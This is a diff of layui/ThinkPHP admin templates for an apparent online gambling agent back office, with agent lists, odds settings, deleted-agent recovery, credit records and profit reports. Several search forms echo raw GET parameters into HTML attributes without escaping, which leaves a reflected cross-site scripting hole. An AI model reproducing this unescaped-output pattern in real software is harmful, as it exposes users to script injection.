query.price_n7_n9 = $('#price_n7_n9').val();
query.price_nn = $('#price_nn').val();
query.price_5n = $('#price_5n').val();
query.win_limit = $('#win_limit').val();
query.price_tc_n1 = $('#price_tc_n1').val();
query.price_tc_n2 = $('#price_tc_n2').val();
query.price_tc_n3 = $('#price_tc_n3').val();
query.price_tc_n4 = $('#price_tc_n4').val();
query.price_tc_n5 = $('#price_tc_n5').val();
query.price_tc_n6 = $('#price_tc_n6').val();
query.price_tc_n7 = $('#price_tc_n7').val();
query.price_tc_n8 = $('#price_tc_n8').val();
query.price_tc_n9 = $('#price_tc_n9').val();
query.price_tc_nn = $('#price_tc_nn').val();
query.price_tc_bz = $('#price_tc_bz').val();
query.price_tc_ths = $('#price_tc_ths').val();
query.price_tc_hjths = $('#price_tc_hjths').val();
// query.agent_commission_tc = $('#agent_commission_tc').val();
// query.agent_commission_tc_banker = $('#agent_commission_tc_banker').val();
// 验证数据
if(query.pass.length > 0){
if(query.pass.length >= 6){
if(query.pass != query.repass){
layer.msg("两次密码不一致!");
return false;
}
}else{
layer.msg("密码不能少于6位字符!");
return false;
}
}
if(query.ximalv.length == 0){
layer.msg("请填写百家乐码率");
return false;
}
if(query.ximalv_dt.length == 0){
layer.msg("请填写龙虎码率");
return false;
}
if(query.ximalv_nn.length == 0){
layer.msg("请填写牛牛码率");
return false;
}
if(query.ximalv_tc.length == 0){
layer.msg("请填写三卡牛牛码率");
return false;
}
if(parseFloat(query.cs) > 100){
layer.msg("占股不能超过100%");
return false;
}
if(query.bet_type <= 0){
layer.alert("请选择投注方式");
return false;
}
if(query.limit_low <= 0){
layer.alert("最低限红必须大于0");
return false;
}
if(query.limit_high <= 0){
layer.alert("最高限红必须大于0");
return false;
}
if(parseFloat(query.limit_low) > parseFloat(query.limit_high)){
layer.alert("最高限红必须大于最低限红");
return false;
}
if(query.limit_low_tie <= 0){
layer.alert("最低限红必须大于0");
return false;
}
if(query.limit_high_tie <= 0){
layer.alert("最高限红必须大于0");
return false;
}
if(parseFloat(query.limit_low_tie) > parseFloat(query.limit_high_tie)){
layer.alert("最高和限红必须大于最低和限红");
return false;
}
if(query.limit_low_pair <= 0){
layer.alert("最低限红必须大于0");
return false;
}
if(query.limit_high_pair <= 0){
layer.alert("最高限红必须大于0");
return false;
}
if(parseFloat(query.limit_low_pair) > parseFloat(query.limit_high_pair)){
layer.alert("最高对子限红必须大于最低对子限红");
return false;
}
if(query.price_banker <= 0){
layer.alert("押庄赔率必须大于0");
return false;
}
if(query.price_player <= 0){
layer.alert("押闲赔率必须大于0");
return false;
}
if(query.price_tie_baccarat <= 0){
layer.alert("押和(百家乐)赔率必须大于0");
return false;
}
if(query.price_pair <= 0){
layer.alert("押对子赔率必须大于0");
return false;
}
if(query.price_luck_six_2 <= 0){
layer.alert("两张牌幸运6赔率必须大于0");
return false;
}
if(query.price_luck_six_3 <= 0){
layer.alert("三张牌幸运6赔率必须大于0");
return false;
}
if(query.price_big <= 0){
layer.alert("押大赔率必须大于0");
return false;
}
if(query.price_small <= 0){
layer.alert("押小赔率必须大于0");
return false;
}
if(query.price_dragon <= 0){
layer.alert("押龙赔率必须大于0");
return false;
}
if(query.price_tiger <= 0){
layer.alert("押虎赔率必须大于0");
return false;
}
if(query.price_tie_dt <= 0){
layer.alert("押和(龙虎斗)赔率必须大于0");
return false;
}
if(query.price_n0_n6 <= 0){
layer.alert("押无牛-牛6赔率必须大于0");
return false;
}
if(query.price_n7_n9 <= 0){
layer.alert("押牛7-牛9赔率必须大于0");
return false;
}
if(query.price_nn <= 0){
layer.alert("押牛牛赔率必须大于0");
return false;
}
if(query.price_5n <= 0){
layer.alert("押五公赔率必须大于0");
return false;
}
if(query.win_limit.length <= 0){
layer.alert("日赢上限不能为空");
return false;
}
if(query.price_tc_n1 <= 0){
layer.alert("押牛一(三卡牛牛)赔率必须大于0");
return false;
}
if(query.price_tc_n2 <= 0){
layer.alert("押牛二(三卡牛牛)赔率必须大于0");
return false;
}
if(query.price_tc_n3 <= 0){
layer.alert("押牛三(三卡牛牛)赔率必须大于0");
return false;
}
if(query.price_tc_n4 <= 0){
layer.alert("押牛四(三卡牛牛)赔率必须大于0");
return false;
}
if(query.price_tc_n5 <= 0){
layer.alert("押牛五(三卡牛牛)赔率必须大于0");
return false;
}
if(query.price_tc_n6 <= 0){
layer.alert("押牛六(三卡牛牛)赔率必须大于0");
return false;
}
if(query.price_tc_n7 <= 0){
layer.alert("押牛七(三卡牛牛)赔率必须大于0");
return false;
}
if(query.price_tc_n8 <= 0){
layer.alert("押牛八(三卡牛牛)赔率必须大于0");
return false;
}
if(query.price_tc_n9 <= 0){
layer.alert("押牛九(三卡牛牛)赔率必须大于0");
return false;
}
if(query.price_tc_nn <= 0){
layer.alert("押牛牛(三卡牛牛)赔率必须大于0");
return false;
}
if(query.price_tc_bz <= 0){
layer.alert("押豹子(三卡牛牛)赔率必须大于0");
return false;
}
if(query.price_tc_ths <= 0){
layer.alert("押同花顺(三卡牛牛)赔率必须大于0");
return false;
}
if(query.price_tc_hjths <= 0){
layer.alert("押皇家同花顺(三卡牛牛)赔率必须大于0");
return false;
}
// if(query.agent_commission_tc.length <= 0){
// layer.alert("三卡牛牛系统抽水不能为空");
// return false;
// }
// if(query.agent_commission_tc_banker.length <= 0){
// layer.alert("三卡牛牛庄家不能为空");
// return false;
// }
// 发送数据到后台添加会员
var result = ajax('/agent/do_agent_edit',query);
if(result.code == 1){
layer.alert(result.msg, {icon: 6}, function () {
location.href = '/agent/index';
});
}else{
layer.msg(result.msg,{icon:2});
}
return false;
});
// AJAX函数封装
function ajax(url,query){
var returnData = 0;
$.ajax({
url:url,
data:query,
type:'POST',
dataType:'JSON',
async:false,
success:function(data){
returnData = data;
}
});
return returnData;
}
</script>
</body>
</html>
@@ -0,0 +1,180 @@
{include file="public/header"}
<body>
<div class="x-nav">
<span class="layui-breadcrumb">
<a href="javascript:;">首页</a>
<a href="javascript:;">代理管理</a>
<a><cite>已删除代理</cite></a>
</span>
<a class="layui-btn layui-btn-small" style="line-height:1.6em;margin-top:3px;float:right"
href="javascript:location.replace(location.href);" title="刷新">
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
</div>
<div class="x-body">
<div class="layui-row">
<form class="layui-form layui-col-md12 x-so" action="/agent/agent_delete" method="get">
<input class="layui-input" placeholder="开始日" name="start" id="start" value="<?php if(isset($get['start'])) {echo $get['start'];} ?>">
<input class="layui-input" placeholder="截止日" name="end" id="end" value="<?php if(isset($get['end'])) {echo $get['end'];} ?>">
<input type="text" name="nickname" placeholder="请输入用户名" autocomplete="off" class="layui-input" value="<?php if(isset($get['nickname'])) {echo $get['nickname'];} ?>">
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon">&#xe615;</i></button>
</form>
</div>
<xblock>
<button class="layui-btn layui-btn-danger" onclick="recoverAll()"><i class="layui-icon"></i>批量恢复</button>
<!--<button class="layui-btn" onclick="x_admin_show('添加会员','/member/member_add',800,600)"><i-->
<!--class="layui-icon"></i>添加-->
<!--</button>-->
<!--<span class="x-right" style="line-height:40px">共有数据:{$user_del_sum} 条</span>-->
</xblock>
<table class="layui-table">
<thead>
<tr>
<th>
<div class="layui-unselect header layui-form-checkbox" lay-skin="primary"><i class="layui-icon">
&#xe605;</i></div>
</th>
<th>ID</th>
<th>账号</th>
<th>用户名</th>
<th>上级代理</th>
<th>最近上分</th>
<th>商户余额</th>
<th>洗码率(%)</th>
<th>占成(%)</th>
<th>创建日期</th>
<th>操作</th>
</tr>
</thead>
<tbody>
{foreach name="user_del_list" item="vo"}
<tr>
<td>
<div class="layui-unselect layui-form-checkbox delete-id" lay-skin="primary" user-id='{$vo.id}'><i class="layui-icon">&#xe605;</i></div>
</td>
<td>{$vo.id}</td>
<td>{$vo.username}</td>
<td>{$vo.nickname}</td>
{if condition="$vo.agent_parent_id > 0"}
<td>{$vo.agent_parent_username}({$vo.agent_parent_nickname})</td>
{else}
<td>无</td>
{/if}
<td>{$vo.last_recharge}</td>
<td>{$vo.money}</td>
<td>{$vo.agent_ximalv}</td>
<td>{$vo.agent_cs}</td>
<td>{$vo.reg_time}</td>
<td class="td-manage">
<a onclick="agent_recover(this,'{$vo.id}')" href="javascript:;">
恢复
</a>
</td>
</tr>
{/foreach}
</tbody>
</table>
{$user_del_list->render()}
<!--<div class="page">-->
<!--<div>-->
<!--<a class="prev" href="">&lt;&lt;</a>-->
<!--<a class="num" href="">1</a>-->
<!--<span class="current">2</span>-->
<!--<a class="num" href="">3</a>-->
<!--<a class="num" href="">489</a>-->
<!--<a class="next" href="">&gt;&gt;</a>-->
<!--</div>-->
<!--</div>-->
</div>
<script>
layui.use('laydate', function () {
var laydate = layui.laydate;
// 开始时间
laydate.render({
elem: '#start',
type: 'datetime'
});
// 结束时间
laydate.render({
elem: '#end',
type: 'datetime'
});
});
/*用户-删除*/
function agent_recover(obj, id) {
layer.confirm('确认要恢复吗?',function () {
// 数据验证
if(id <= 0){
layer.msg('恢复用户出错!');
return false;
}
// 拼装数据
var query = new Object;
query.user_id = id;
// 发送数据到后台删除会员
var result = ajax('/agent/agent_recover',query);
if(result.code == 1){
layer.msg(result.msg, {icon: 1, time: 1000},function(){
location.reload();
});
}else if(result.code == 0){
layer.msg(result.msg, {icon: 2, time: 1000});
}
});
}
/* 删除多个会员 */
function recoverAll() {
layer.confirm('确认要恢复吗?', function () {
var user_ids = new Array;
$('.delete-id').each(function(){
if($(this).hasClass('layui-form-checked')){
user_ids.push($(this).attr('user-id'));
}
});
// 发送数据给后台进行删除
var query = new Object;
query.user_ids = JSON.stringify(user_ids);
var result = ajax('/agent/agent_recover_more',query);
if(result.code == 1){
layer.msg(result.msg, {icon: 1,time:1000},function(){
location.reload();
});
}else if(result.code == 0){
layer.msg(result.msg,{icon:2});
}
});
}
/**
* 封装 AJAX 函数
* @param url 目标地址
* @param query 参数
* @returns {string}
*/
function ajax(url, query) {
var returnData = "";
$.ajax({
url: url,
data: query,
type: 'POST',
dataType: 'JSON',
async: false,
success: function (data) {
returnData = data;
}
});
return returnData;
}
</script>
</body>
</html>
@@ -0,0 +1,50 @@
{include file="public/header"}
<body>
<div class="x-body">
<div class="layui-btn no-print" onclick="jQuery('html').print()">打印</div>
<table class="layui-table">
<div style="text-align: center;font-size: 18px;font-weight:bold;">代理列表</div>
<thead>
<tr>
<th style="text-align: center;">用户名</th>
<th style="text-align: center;">联系人</th>
<th style="text-align: center;">代理类型</th>
<th style="text-align: center;">上级代理</th>
<th style="text-align: center;">投注方式</th>
<th style="text-align: center;">最近上分</th>
<th style="text-align: center;">商户余额</th>
<th style="text-align: center;">洗码率(%)</th>
<th style="text-align: center;">占成(%)</th>
<th style="text-align: center;">创建日期</th>
<th style="text-align: center;">状态</th>
</tr>
</thead>
<tbody>
{foreach name="agent_list" item="vo"}
<tr>
<td>{$vo.username}</td>
<td>{$vo.nickname}</td>
<td>{$vo.agent_level_msg}</td>
{if condition="$vo.agent_parent_id > 0"}
<td>{$vo.agent_parent_username}({$vo.agent_parent_nickname})</td>
{else}
<td>无</td>
{/if}
<td>{$vo.bet_type}</td>
<td>{$vo.last_recharge}</td>
<td>{$vo.money}</td>
<td>{$vo.agent_ximalv}</td>
<td>{$vo.agent_cs}</td>
<td>{$vo.reg_time}</td>
{if condition="$vo.status == 1"}
<td>正常</td>
{else}
<td>锁定中</td>
{/if}
</tr>
{/foreach}
</tbody>
</div>
</body>
</html>
+269
View File
@@ -0,0 +1,269 @@
{include file="public/header"}
<style>
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
.x-body .layui-row .xblock button{ margin-top:-20px; }
.x-body .layui-form{ margin-top:15px; margin-bottom:10px; }
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
.x-body .layui-form .layui-form-item .layui-form-label{ width:48px; }
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
.layui-input-block dl{ text-align:left; }
.x-so{ margin:0; }
.x-so input.layui-input{ width:150px; }
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
.change_box a{font-size: 14px;padding: 10.5px 10px;}
.alert{position:fixed; top:15%; left:30%; width:600px; min-height:320px; background:#fff; border:1px solid #e2e2e2; border-radius:5px; display:none;}
.alert-title{background:#009688; height:40px; text-align: center; line-height:40px; font-size:14px; border-bootom:1px solid #F2F2F2;color:#fff;}
.alert-main th{width:40%; border-left:none; text-align:right;}
.alert-main td{border-right:none; }
.alert-footer{padding:20px; text-align:center;}
.alert-footer span{padding:10px 30px; display:inline-block; border-radius:5px; cursor:pointer;}
</style>
<body>
<div class="x-nav" style="padding: 0px;">
<span class="change_box">
<a href="javascript:;" class="list-one actived" data-id="1">代理列表</a>
<?php if($user_info['role'] == 0) : ?>
<a href="javascript:;" class="list-two" data-id="2">代理添加</a>
<?php endif; ?>
</span>
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
href="javascript:location.replace(location.href);" title="刷新">
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
</div>
<br>
<div class="x-body">
<div class="layui-row">
<form class="layui-form layui-col-md12 x-so float-left" action="/agent/index" method="get">
<?php if(isset($get['id']) && $get['id'] > 0) : ?>
<?php else : ?>
<input type="text" name="username" id="username" placeholder="请输入总代理的用户名" autocomplete="off" class="layui-input" value="<?php if(isset($get['username'])) {echo $get['username'];} ?>">
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon">&#xe615;</i></button>
<?php endif; ?>
<!--<span class="layui-btn" id="export">导出 excel</span>-->
</form>
</div>
<table class="layui-table">
<thead>
<tr>
<th>用户名</th>
<th>联系人</th>
<th>上级代理</th>
<th>投注方式</th>
<th>最近上分</th>
<th>商户余额</th>
<th>百/龙/牛/三卡 码率(%)</th>
<th>占成(%)</th>
<th>日赢上限</th>
<th>赔率</th>
<th>创建日期</th>
<th>操作</th>
<th>查看</th>
</tr>
</thead>
<tbody>
{foreach name="agent_list" item="vo"}
<tr>
<td><a href="javascript:;" class="relation" onclick="x_admin_show('关系结构','/index/relation?id={$vo.id}',400,500)">{$vo.username}</a></td>
<td>{$vo.nickname}</td>
{if condition="$vo.agent_parent_id > 0"}
<td>{$vo.agent_parent_username}</td>
{else}
<td>-</td>
{/if}
<td>{$vo.bet_type}</td>
<td>{$vo.last_recharge}</td>
<td>{$vo.money}</td>
<td>{$vo.ximalv}</td>
<td>{$vo.agent_cs}</td>
<td>{$vo.win_limit}</td>
<th>
<a href="javascript:;" onclick="showPrice(this)" price-username="{$vo.username}" price-banker="{$vo.price_banker}" price-player="{$vo.price_player}" price-tie-baccarat="{$vo.price_tie_baccarat}" price-pair="{$vo.price_pair}" price-dragon="{$vo.price_dragon}" price-tiger="{$vo.price_tiger}" price-tie-dt="{$vo.price_tie_dt}" price-n0-n6="{$vo.price_n0_n6}" price-n7-n9="{$vo.price_n7_n9}" price-nn="{$vo.price_nn}" price-5n="{$vo.price_5n}" price-tc-n1="{$vo.price_tc_n1}" price-tc-n2="{$vo.price_tc_n2}" price-tc-n3="{$vo.price_tc_n3}" price-tc-n4="{$vo.price_tc_n4}" price-tc-n5="{$vo.price_tc_n5}" price-tc-n6="{$vo.price_tc_n6}" price-tc-n7="{$vo.price_tc_n7}" price-tc-n8="{$vo.price_tc_n8}" price-tc-n9="{$vo.price_tc_n9}" price-tc-nn="{$vo.price_tc_nn}" price-tc-bz="{$vo.price_tc_bz}" price-tc-ths="{$vo.price_tc_ths}" price-tc-hjths="{$vo.price_tc_hjths}">
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#009688;" >查看</span>
</a>
</th>
<td>{$vo.reg_time}</td>
<td class="td-manage">
<a href="/agent/agent_edit?agent_id={$vo.id}"><span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#009688;">修改</span></a>
<a onclick="member_del(this,'{$vo.id}')" href="javascript:;"><span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#ff5050;">删除</span></a>
</td>
<td style="color: red;">
<?php if($vo['agent'] == 1) : ?>
<span ><a href="/agent/index?id={$vo.id}" style="color: #1E9FFF;">查看下级</a></span>
<?php endif; ?>
</td>
</tr>
{/foreach}
</tbody>
</table>
{$agent_list->render()}
</div>
<div class="alert" id="alert_price">
<div class="alert-title" id="show_price_username"></div>
<div class="alert-main">
<table class="layui-table" style="margin:0;">
<tr><th>押庄赔率:</th><td id="show_price_banker"></td></tr>
<tr><th>押闲赔率:</th><td id="show_price_player"></td></tr>
<tr><th>押和赔率(百家乐):</th><td id="show_price_tie_baccarat"></td></tr>
<tr><th>押对子赔率:</th><td id="show_price_pair"></td></tr>
<tr><th>押龙赔率:</th><td id="show_price_dragon"></td></tr>
<tr><th>押虎赔率:</th><td id="show_price_tiger"></td></tr>
<tr><th>押和赔率(龙虎斗):</th><td id="show_price_tie_dt"></td></tr>
<tr><th>押无牛-牛6赔率:</th><td id="show_price_n0_n6"></td></tr>
<tr><th>押牛7-牛9赔率:</th><td id="show_price_n7_n9"></td></tr>
<tr><th>押牛牛赔率:</th><td id="show_price_nn"></td></tr>
<tr><th>押五公赔率:</th><td id="show_price_5n"></td></tr>
<tr><th>押牛一赔率(三卡):</th><td id="show_price_tc_n1"></td></tr>
<tr><th>押牛二赔率(三卡):</th><td id="show_price_tc_n2"></td></tr>
<tr><th>押牛三赔率(三卡):</th><td id="show_price_tc_n3"></td></tr>
<tr><th>押牛四赔率(三卡):</th><td id="show_price_tc_n4"></td></tr>
<tr><th>押牛五赔率(三卡):</th><td id="show_price_tc_n5"></td></tr>
<tr><th>押牛六赔率(三卡):</th><td id="show_price_tc_n6"></td></tr>
<tr><th>押牛七赔率(三卡):</th><td id="show_price_tc_n7"></td></tr>
<tr><th>押牛八赔率(三卡):</th><td id="show_price_tc_n8"></td></tr>
<tr><th>押牛九赔率(三卡):</th><td id="show_price_tc_n9"></td></tr>
<tr><th>押牛牛赔率(三卡):</th><td id="show_price_tc_nn"></td></tr>
<tr><th>押豹子赔率(三卡):</th><td id="show_price_tc_bz"></td></tr>
<tr><th>押同花顺赔率(三卡):</th><td id="show_price_tc_ths"></td></tr>
</table>
</div>
<div class="alert-footer">
<span onclick="hiddenForm('alert_price')" class="input_button" style="background:#009688; border:1px solid #e2e2e2;color:#fff;">关闭</span>
</div>
</div>
<script>
// 代理列表和添加代理切换
$('.x-nav .change_box a').click(function(){
// 样式切换
$('.x-nav .change_box a').removeClass('actived');
$(this).addClass('actived');
// 页面切换
var id = $(this).attr('data-id');
if(id == "1") location.href = '/agent/index';
if(id == "2") location.href = '/agent/agent_add';
});
/*用户-删除*/
function member_del(obj, id) {
layer.confirm('确认要删除吗?',function () {
// 数据验证
if(id <= 0){
layer.msg('删除用户出错!');
return false;
}
// 拼装数据
var query = new Object;
query.user_id = id;
// 发送数据到后台删除会员
var result = ajax('/agent/agent_del',query);
if(result.code == 1){
layer.msg(result.msg, {icon: 1, time: 1000},function(){
location.reload();
});
}else if(result.code == 0){
layer.msg(result.msg, {icon: 2, time: 1000});
}
});
}
/**
* 封装 AJAX 函数
* @param url 目标地址
* @param query 参数
* @returns {string}
*/
function ajax(url, query) {
var returnData = "";
$.ajax({
url: url,
data: query,
type: 'POST',
dataType: 'JSON',
async: false,
success: function (data) {
returnData = data;
}
});
return returnData;
}
// 导出excel
$('#export').click(function(){
layer.confirm('确定导出 excel 吗?',function(index){
location.href = "/agent/index?export=1&{$query}";
layer.close(index);
});
});
// 显示用户的赔率
function showPrice(obj){
// 获取赔率数据
var price_username = $(obj).attr('price-username');
var price_banker = $(obj).attr('price-banker');
var price_player = $(obj).attr('price-player');
var price_tie_baccarat = $(obj).attr('price-tie-baccarat');
var price_pair = $(obj).attr('price-pair');
var price_dragon = $(obj).attr('price-dragon');
var price_tiger = $(obj).attr('price-tiger');
var price_tie_dt = $(obj).attr('price-tie-dt');
var price_n0_n6 = $(obj).attr('price-n0-n6');
var price_n7_n9 = $(obj).attr('price-n7-n9');
var price_nn = $(obj).attr('price-nn');
var price_5n = $(obj).attr('price-5n');
var price_tc_n1 = $(obj).attr('price-tc-n1');
var price_tc_n2 = $(obj).attr('price-tc-n2');
var price_tc_n3 = $(obj).attr('price-tc-n3');
var price_tc_n4 = $(obj).attr('price-tc-n4');
var price_tc_n5 = $(obj).attr('price-tc-n5');
var price_tc_n6 = $(obj).attr('price-tc-n6');
var price_tc_n7 = $(obj).attr('price-tc-n7');
var price_tc_n8 = $(obj).attr('price-tc-n8');
var price_tc_n9 = $(obj).attr('price-tc-n9');
var price_tc_nn = $(obj).attr('price-tc-nn');
var price_tc_bz = $(obj).attr('price-tc-bz');
var price_tc_ths = $(obj).attr('price-tc-ths');
var price_tc_hjths = $(obj).attr('price-tc-hjths');
// 显示赔率数据
$('#show_price_username').html(price_username+" 的赔率");
$('#show_price_banker').html(price_banker);
$('#show_price_player').html(price_player);
$('#show_price_tie_baccarat').html(price_tie_baccarat);
$('#show_price_pair').html(price_pair);
$('#show_price_dragon').html(price_dragon);
$('#show_price_tiger').html(price_tiger);
$('#show_price_tie_dt').html(price_tie_dt);
$('#show_price_n0_n6').html(price_n0_n6);
$('#show_price_n7_n9').html(price_n7_n9);
$('#show_price_nn').html(price_nn);
$('#show_price_5n').html(price_5n);
$('#show_price_tc_n1').html(price_tc_n1);
$('#show_price_tc_n2').html(price_tc_n2);
$('#show_price_tc_n3').html(price_tc_n3);
$('#show_price_tc_n4').html(price_tc_n4);
$('#show_price_tc_n5').html(price_tc_n5);
$('#show_price_tc_n6').html(price_tc_n6);
$('#show_price_tc_n7').html(price_tc_n7);
$('#show_price_tc_n8').html(price_tc_n8);
$('#show_price_tc_n9').html(price_tc_n9);
$('#show_price_tc_nn').html(price_tc_nn);
$('#show_price_tc_bz').html(price_tc_bz);
$('#show_price_tc_ths').html(price_tc_ths);
$('#show_price_tc_hjths').html(price_tc_hjths);
$('#alert_price').show();
}
//点击隐藏表单弹窗
function hiddenForm(id) {
$('#' + id).hide();
}
</script>
</body>
</html>
+160
View File
@@ -0,0 +1,160 @@
{include file="public/header"}
<style>
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
.x-body .layui-row .xblock button{ margin-top:-20px; }
.x-body .layui-form{ margin-top:15px; margin-bottom:12px; }
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
.x-body .layui-form .layui-form-item .layui-form-label{ width:48px; }
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
.layui-input-block dl{ text-align:left; }
.x-so{ margin:0; }
.x-so input.layui-input{ width:150px; }
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
.change_box a{font-size: 14px;padding: 10.5px 10px;}
.layui-table td, .layui-table th {padding: 5px 4px;}
</style>
<body>
<div class="x-body">
<div class="layui-row">
<div class="layui-form layui-col-md12 x-so float-left">
<div class="layui-input-block" style="width: 300px;">
<select name="zd_agent" id="zd_agent" lay-ignore style="height: 38px;line-height: 38px;font-size: 12px;padding: 0px 0px;">
<option value="0" selected>请选择总代</option>
{foreach name="agent_list" item="vo"}
<option value={$vo.id} >{$vo.username}</option>
{/foreach}
</select>
</div>
<input class="layui-input" placeholder="开始时间" name="startDate" id="start" value="">
<input class="layui-input" placeholder="截止时间" name="endDate" id="end" value="">
<div class="layui-btn" lay-submit="" lay-filter="sreach" onclick="get_profit()"><i class="layui-icon">&#xe615;</i></div>
</div>
</div>
<table class="layui-table" style="width: 90%;margin: 0 auto;margin-top: 15px;font-size: 14px;">
<tbody>
<tr>
<td style="width: 40%">总上下水</td>
<td style="width: 60%" id="bet_win_total">-</td>
</tr>
<tr>
<td>归属总代上下水</td>
<td id="zs_bet_win_total">-</td>
</tr>
<tr>
<td>总押</td>
<td id="bet_amount">-</td>
</tr>
<tr>
<td>码量</td>
<td id="maliang">-</td>
</tr>
<tr>
<td>玩家数量</td>
<td id="bet_play_num">-</td>
</tr>
<tr>
<td>幸运玩家</td>
<td id="lucky_palyer">-</td>
</tr>
<tr>
<td>悲催玩家</td>
<td id="fucking_player">-</td>
</tr>
<tr>
<td>百家乐总赢</td>
<td id="baccarat_win_towal">-</td>
</tr>
<tr>
<td>三卡总赢</td>
<td id="tk_win_towal">-</td>
</tr>
<tr>
<td>牛牛总赢</td>
<td id="nn_win_towal">-</td>
</tr>
<tr>
<td>龙虎总赢</td>
<td id="dt_win_towal">-</td>
</tr>
<tr>
<td>总收益</td>
<td id="total_profit">-</td>
</tr>
</tbody>
</table>
</div>
<script>
// 时间选择器
layui.use('laydate', function () {
var laydate = layui.laydate;
// 开始时间
laydate.render({
elem: '#start',
type: 'datetime'
});
// 结束时间
laydate.render({
elem: '#end',
type: 'datetime'
});
});
function get_profit(){
var zd_agent = $('#zd_agent option:selected').val();
var start_time = $('#start').val();
var end_time = $('#end').val();
if(zd_agent == 0){
layer.msg('请选择总代');
return false;
}
if(!start_time){
layer.msg('请选择开始时间');
return false;
}
if(!end_time){
layer.msg('请选择结束时间');
return false;
}
var index = layer.load(1, {
shade: [0.3,'#000'] //0.1透明度的白色背景
});
$.ajax({
url:'/agent/get_profit',
data:{zd_agent:zd_agent,start_time:start_time,end_time:end_time},
type:'POST',
dataType:'JSON',
success:function(data){
layer.close(index);
if(data.code == 0){
layer.msg(data.msg);
}else{
var return_data = data.data;
$('#bet_win_total').html(return_data.bet_win_total);
$('#zs_bet_win_total').html(return_data.zs_bet_win_total);
$('#maliang').html(return_data.maliang);
$('#bet_amount').html(return_data.bet_amount);
$('#bet_play_num').html(return_data.bet_play_num);
$('#baccarat_win_towal').html(return_data.baccarat_win_towal);
$('#dt_win_towal').html(return_data.dt_win_towal);
$('#nn_win_towal').html(return_data.nn_win_towal);
$('#tk_win_towal').html(return_data.tk_win_towal);
$('#lucky_palyer').html(return_data.lucky_palyer);
$('#fucking_player').html(return_data.fucking_player);
$('#total_profit').html(return_data.total_profit);
}
}
});
}
</script>
</body>
</html>
+158
View File
@@ -0,0 +1,158 @@
{include file="public/header"}
<style>
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
.x-body .layui-row .xblock button{ margin-top:-20px; }
.x-body .layui-form{ margin-top:15px; margin-bottom:12px; }
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
.x-body .layui-form .layui-form-item .layui-form-label{ width:48px; }
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
.layui-input-block dl{ text-align:left; }
.x-so{ margin:0; }
.x-so input.layui-input{ width:150px; }
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
.change_box a{font-size: 14px;padding: 10.5px 10px;}
</style>
<body>
<div class="x-nav" style="padding: 0px;">
<span class="change_box">
<a href="javascript:;" class="list-one actived" data-id="1">代理上下分记录列表</a>
<?php if($user_info['role'] == 0 || $user_info['role'] == 3) : ?>
<a href="javascript:;" class="list-two" data-id="2">代理上下分记录添加</a>
<?php endif; ?>
</span>
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
href="javascript:location.replace(location.href);" title="刷新">
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
</div>
<br>
<div class="x-body">
<div class="layui-row">
<form class="layui-form layui-col-md12 x-so float-left" action="/agent/scores" method="get">
<input class="layui-input" placeholder="开始时间" name="startDate" id="start" value="<?php if(isset($get['startDate'])) {echo $get['startDate'];} ?>">
<input class="layui-input" placeholder="截止时间" name="endDate" id="end" value="<?php if(isset($get['endDate'])) {echo $get['endDate'];} ?>">
<div class="layui-input-block" >
<select name="agent_or_admin" id="agent_or_admin">
<option value="">全部上下分记录</option>
<option value="1" <?php if(isset($get['agent_or_admin']) && $get['agent_or_admin'] == 1) {echo 'selected';} ?>>查询总台给总代理上下分记录</option>
</select>
</div>
<div class="layui-input-block" >
<select name="mode" id="mode">
<option value="-1" selected>操作类型</option>
<option value="1" <?php if(isset($get['mode']) && $get['mode'] == 1) {echo 'selected';} ?>>上分</option>
<option value="2" <?php if(isset($get['mode']) && $get['mode'] == 2) {echo 'selected';} ?>>下分</option>
</select>
</div>
